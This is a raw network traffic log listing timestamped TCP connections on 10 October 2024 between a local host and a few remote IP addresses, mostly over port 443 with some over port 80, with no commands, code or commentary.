Oct 10, 2024 10:13:42.206623077 CEST	64643	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:42.206832886 CEST	64643	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:42.206861973 CEST	443	64643	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:42.206880093 CEST	64643	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:42.206887960 CEST	443	64643	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:42.209599972 CEST	64648	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:42.209645987 CEST	443	64648	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:42.209745884 CEST	64648	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:42.209865093 CEST	64648	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:42.209882975 CEST	443	64648	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:42.225524902 CEST	443	64644	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:42.227102995 CEST	64644	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:42.227128029 CEST	443	64644	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:42.227719069 CEST	64644	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:42.227729082 CEST	443	64644	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:42.258616924 CEST	443	64645	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:42.258694887 CEST	443	64645	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:42.258769989 CEST	64645	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:42.260457993 CEST	64645	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:42.260479927 CEST	443	64645	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:42.260492086 CEST	64645	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:42.260497093 CEST	443	64645	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:42.263355970 CEST	64649	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:42.263415098 CEST	443	64649	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:42.263545990 CEST	64649	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:42.263681889 CEST	64649	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:42.263703108 CEST	443	64649	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:42.289685011 CEST	64650	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:13:42.294497013 CEST	80	64650	173.194.76.82	192.168.2.4
Oct 10, 2024 10:13:42.297621965 CEST	64650	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:13:42.297811985 CEST	64650	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:13:42.302556992 CEST	80	64650	173.194.76.82	192.168.2.4
Oct 10, 2024 10:13:42.338628054 CEST	443	64644	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:42.338705063 CEST	443	64644	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:42.338804960 CEST	64644	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:42.339174986 CEST	64644	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:42.339198112 CEST	443	64644	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:42.339209080 CEST	64644	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:42.339215040 CEST	443	64644	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:42.342698097 CEST	64651	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:42.342750072 CEST	443	64651	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:42.342844963 CEST	64651	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:42.342983961 CEST	64651	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:42.343002081 CEST	443	64651	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:42.834227085 CEST	443	64647	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:42.837749958 CEST	443	64646	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:42.865319014 CEST	443	64648	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:42.885633945 CEST	64647	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:42.885659933 CEST	64646	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:42.896152973 CEST	64647	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:42.896169901 CEST	443	64647	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:42.896626949 CEST	64647	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:42.896634102 CEST	443	64647	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:42.896847010 CEST	64646	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:42.896864891 CEST	443	64646	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:42.897154093 CEST	64646	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:42.897157907 CEST	443	64646	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:42.897550106 CEST	64648	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:42.897577047 CEST	443	64648	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:42.897864103 CEST	64648	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:42.897870064 CEST	443	64648	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:42.951442003 CEST	443	64649	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:42.995131969 CEST	64649	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:42.999094009 CEST	443	64648	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:42.999177933 CEST	443	64648	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:42.999255896 CEST	64648	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:43.005644083 CEST	443	64646	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:43.005727053 CEST	443	64646	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:43.005789995 CEST	64646	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:43.012983084 CEST	80	64650	173.194.76.82	192.168.2.4
Oct 10, 2024 10:13:43.013019085 CEST	80	64650	173.194.76.82	192.168.2.4
Oct 10, 2024 10:13:43.013056993 CEST	64650	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:13:43.013086081 CEST	64650	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:13:43.025475979 CEST	64649	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:43.025506020 CEST	443	64649	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:43.029313087 CEST	64649	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:43.029329062 CEST	443	64649	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:43.029484034 CEST	64648	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:43.029529095 CEST	443	64648	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:43.029552937 CEST	64648	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:43.029562950 CEST	443	64648	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:43.030812025 CEST	443	64647	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:43.030893087 CEST	443	64647	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:43.030945063 CEST	64647	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:43.033004045 CEST	443	64651	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:43.041439056 CEST	64651	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:43.041471958 CEST	443	64651	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:43.046225071 CEST	64651	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:43.046246052 CEST	443	64651	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:43.046413898 CEST	64647	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:43.046413898 CEST	64647	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:43.046452045 CEST	443	64647	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:43.046467066 CEST	443	64647	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:43.055633068 CEST	64646	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:43.055634022 CEST	64646	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:43.055687904 CEST	443	64646	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:43.055715084 CEST	443	64646	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:43.080853939 CEST	64650	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:13:43.080944061 CEST	64650	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:13:43.135910034 CEST	443	64649	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:43.135998011 CEST	443	64649	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:43.136069059 CEST	64649	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:43.147259951 CEST	64649	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:43.147260904 CEST	64649	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:43.147305012 CEST	443	64649	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:43.147336006 CEST	443	64649	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:43.152929068 CEST	443	64651	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:43.153013945 CEST	443	64651	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:43.153068066 CEST	64651	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:43.179466009 CEST	64652	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:43.179529905 CEST	443	64652	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:43.179632902 CEST	64652	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:43.180535078 CEST	64653	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:43.180571079 CEST	443	64653	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:43.180622101 CEST	64653	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:43.366137028 CEST	64651	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:43.366187096 CEST	443	64651	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:43.366206884 CEST	64651	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:43.366216898 CEST	443	64651	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:43.469003916 CEST	64652	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:43.469053984 CEST	443	64652	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:43.471647024 CEST	64654	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:43.471685886 CEST	443	64654	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:43.471749067 CEST	64654	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:43.471975088 CEST	64653	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:43.471990108 CEST	443	64653	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:43.472254038 CEST	64654	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:43.472264051 CEST	443	64654	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:43.473481894 CEST	64655	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:43.473530054 CEST	443	64655	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:43.473581076 CEST	64655	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:43.477824926 CEST	64656	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:43.477901936 CEST	64655	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:43.477916956 CEST	443	64656	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:43.477921009 CEST	443	64655	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:43.477979898 CEST	64656	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:43.478102922 CEST	64656	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:43.478152037 CEST	443	64656	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:43.854202032 CEST	64657	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:13:43.859611988 CEST	80	64657	173.194.76.82	192.168.2.4
Oct 10, 2024 10:13:43.859730005 CEST	64657	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:13:43.859839916 CEST	64657	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:13:43.864715099 CEST	80	64657	173.194.76.82	192.168.2.4
Oct 10, 2024 10:13:44.125570059 CEST	443	64654	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:44.126626968 CEST	64654	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:44.126676083 CEST	443	64654	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:44.126990080 CEST	64654	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:44.127001047 CEST	443	64654	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:44.127032995 CEST	443	64652	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:44.127290964 CEST	64652	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:44.127326012 CEST	443	64652	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:44.127589941 CEST	64652	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:44.127594948 CEST	443	64652	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:44.131921053 CEST	443	64656	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:44.132175922 CEST	64656	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:44.132272005 CEST	443	64656	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:44.132432938 CEST	64656	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:44.132447958 CEST	443	64656	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:44.145509958 CEST	443	64655	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:44.145991087 CEST	64655	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:44.145998001 CEST	443	64655	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:44.146317959 CEST	64655	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:44.146321058 CEST	443	64655	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:44.154989004 CEST	443	64653	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:44.155334949 CEST	64653	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:44.155381918 CEST	443	64653	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:44.155621052 CEST	64653	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:44.155630112 CEST	443	64653	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:44.240475893 CEST	443	64656	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:44.240595102 CEST	443	64656	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:44.240784883 CEST	64656	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:44.241178036 CEST	64656	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:44.241203070 CEST	443	64656	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:44.241215944 CEST	64656	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:44.241223097 CEST	443	64656	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:44.242543936 CEST	443	64652	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:44.242628098 CEST	443	64652	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:44.242702961 CEST	64652	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:44.242801905 CEST	64652	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:44.242819071 CEST	443	64652	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:44.242830992 CEST	64652	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:44.242835999 CEST	443	64652	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:44.244450092 CEST	443	64654	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:44.244522095 CEST	443	64654	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:44.244597912 CEST	64654	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:44.244611979 CEST	64658	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:44.244653940 CEST	443	64658	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:44.244719982 CEST	64658	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:44.244765043 CEST	64654	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:44.244765043 CEST	64654	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:44.244786978 CEST	443	64654	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:44.244801044 CEST	443	64654	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:44.245024920 CEST	64659	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:44.245065928 CEST	443	64659	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:44.245115995 CEST	64659	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:44.245449066 CEST	64659	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:44.245467901 CEST	443	64659	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:44.245567083 CEST	64658	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:44.245579958 CEST	443	64658	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:44.246776104 CEST	64660	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:44.246808052 CEST	443	64660	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:44.246870041 CEST	64660	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:44.247011900 CEST	64660	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:44.247023106 CEST	443	64660	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:44.261598110 CEST	443	64655	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:44.261674881 CEST	443	64655	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:44.261766911 CEST	64655	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:44.263566017 CEST	64655	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:44.263585091 CEST	443	64655	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:44.263596058 CEST	64655	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:44.263602018 CEST	443	64655	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:44.265758038 CEST	64661	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:44.265793085 CEST	443	64661	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:44.265863895 CEST	64661	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:44.265986919 CEST	64661	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:44.266000986 CEST	443	64661	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:44.288418055 CEST	443	64653	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:44.288491964 CEST	443	64653	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:44.288542032 CEST	64653	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:44.288672924 CEST	64653	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:44.288693905 CEST	443	64653	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:44.288707972 CEST	64653	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:44.288714886 CEST	443	64653	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:44.290880919 CEST	64662	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:44.290910006 CEST	443	64662	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:44.290977001 CEST	64662	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:44.291104078 CEST	64662	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:44.291117907 CEST	443	64662	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:44.566145897 CEST	80	64657	173.194.76.82	192.168.2.4
Oct 10, 2024 10:13:44.566167116 CEST	80	64657	173.194.76.82	192.168.2.4
Oct 10, 2024 10:13:44.566293955 CEST	64657	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:13:44.566597939 CEST	64657	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:13:44.566632986 CEST	64657	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:13:44.844549894 CEST	443	64658	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:44.845138073 CEST	64658	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:44.845169067 CEST	443	64658	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:44.845593929 CEST	64658	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:44.845599890 CEST	443	64658	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:44.897744894 CEST	443	64659	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:44.898252010 CEST	64659	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:44.898298025 CEST	443	64659	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:44.898735046 CEST	64659	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:44.898741007 CEST	443	64659	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:44.969242096 CEST	443	64662	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:44.972227097 CEST	64662	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:44.972251892 CEST	443	64662	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:44.972707033 CEST	64662	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:44.972714901 CEST	443	64662	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:44.978826046 CEST	443	64658	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:44.978904009 CEST	443	64658	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:44.978966951 CEST	64658	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:44.979115009 CEST	64658	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:44.979135990 CEST	443	64658	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:44.979146957 CEST	64658	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:44.979152918 CEST	443	64658	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:44.982323885 CEST	64663	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:44.982367992 CEST	443	64663	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:44.982438087 CEST	64663	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:44.982584000 CEST	64663	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:44.982589960 CEST	443	64663	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:44.986118078 CEST	443	64661	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:44.986304998 CEST	443	64660	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:44.986630917 CEST	64661	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:44.986646891 CEST	443	64661	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:44.987200022 CEST	64661	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:44.987205982 CEST	443	64661	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:44.987303972 CEST	64660	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:44.987323046 CEST	443	64660	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:44.987670898 CEST	64660	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:44.987675905 CEST	443	64660	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:45.006244898 CEST	443	64659	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:45.006299973 CEST	443	64659	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:45.006375074 CEST	64659	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:45.008157969 CEST	64659	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:45.008194923 CEST	443	64659	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:45.008207083 CEST	64659	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:45.008212090 CEST	443	64659	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:45.014954090 CEST	64664	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:45.014996052 CEST	443	64664	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:45.015053988 CEST	64664	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:45.015338898 CEST	64664	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:45.015357971 CEST	443	64664	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:45.097841024 CEST	443	64662	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:45.097914934 CEST	443	64662	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:45.097965956 CEST	64662	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:45.098160028 CEST	64662	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:45.098172903 CEST	443	64662	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:45.098181963 CEST	64662	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:45.098189116 CEST	443	64662	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:45.100636959 CEST	64665	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:45.100704908 CEST	443	64665	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:45.100765944 CEST	64665	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:45.100908995 CEST	64665	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:45.100925922 CEST	443	64665	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:45.106514931 CEST	443	64660	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:45.106592894 CEST	443	64660	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:45.106652021 CEST	64660	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:45.106848001 CEST	64660	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:45.106867075 CEST	443	64660	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:45.106877089 CEST	64660	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:45.106882095 CEST	443	64660	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:45.107419968 CEST	443	64661	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:45.107492924 CEST	443	64661	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:45.107538939 CEST	64661	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:45.107867956 CEST	64661	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:45.107877016 CEST	443	64661	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:45.107891083 CEST	64661	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:45.107896090 CEST	443	64661	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:45.109827995 CEST	64666	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:45.109838009 CEST	443	64666	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:45.109893084 CEST	64666	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:45.110214949 CEST	64666	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:45.110229015 CEST	443	64666	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:45.111176968 CEST	64667	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:45.111224890 CEST	443	64667	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:45.111294031 CEST	64667	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:45.111411095 CEST	64667	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:45.111429930 CEST	443	64667	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:45.661120892 CEST	443	64663	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:45.661804914 CEST	64663	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:45.661834002 CEST	443	64663	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:45.662271023 CEST	64663	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:45.662276030 CEST	443	64663	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:45.672076941 CEST	443	64664	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:45.680507898 CEST	64664	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:45.680541039 CEST	443	64664	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:45.680970907 CEST	64664	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:45.680979967 CEST	443	64664	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:45.730760098 CEST	64573	80	192.168.2.4	51.81.194.202
Oct 10, 2024 10:13:45.735641003 CEST	80	64573	51.81.194.202	192.168.2.4
Oct 10, 2024 10:13:45.766048908 CEST	443	64667	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:45.766592979 CEST	64667	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:45.766616106 CEST	443	64667	13.107.253.45	192.168.2.4
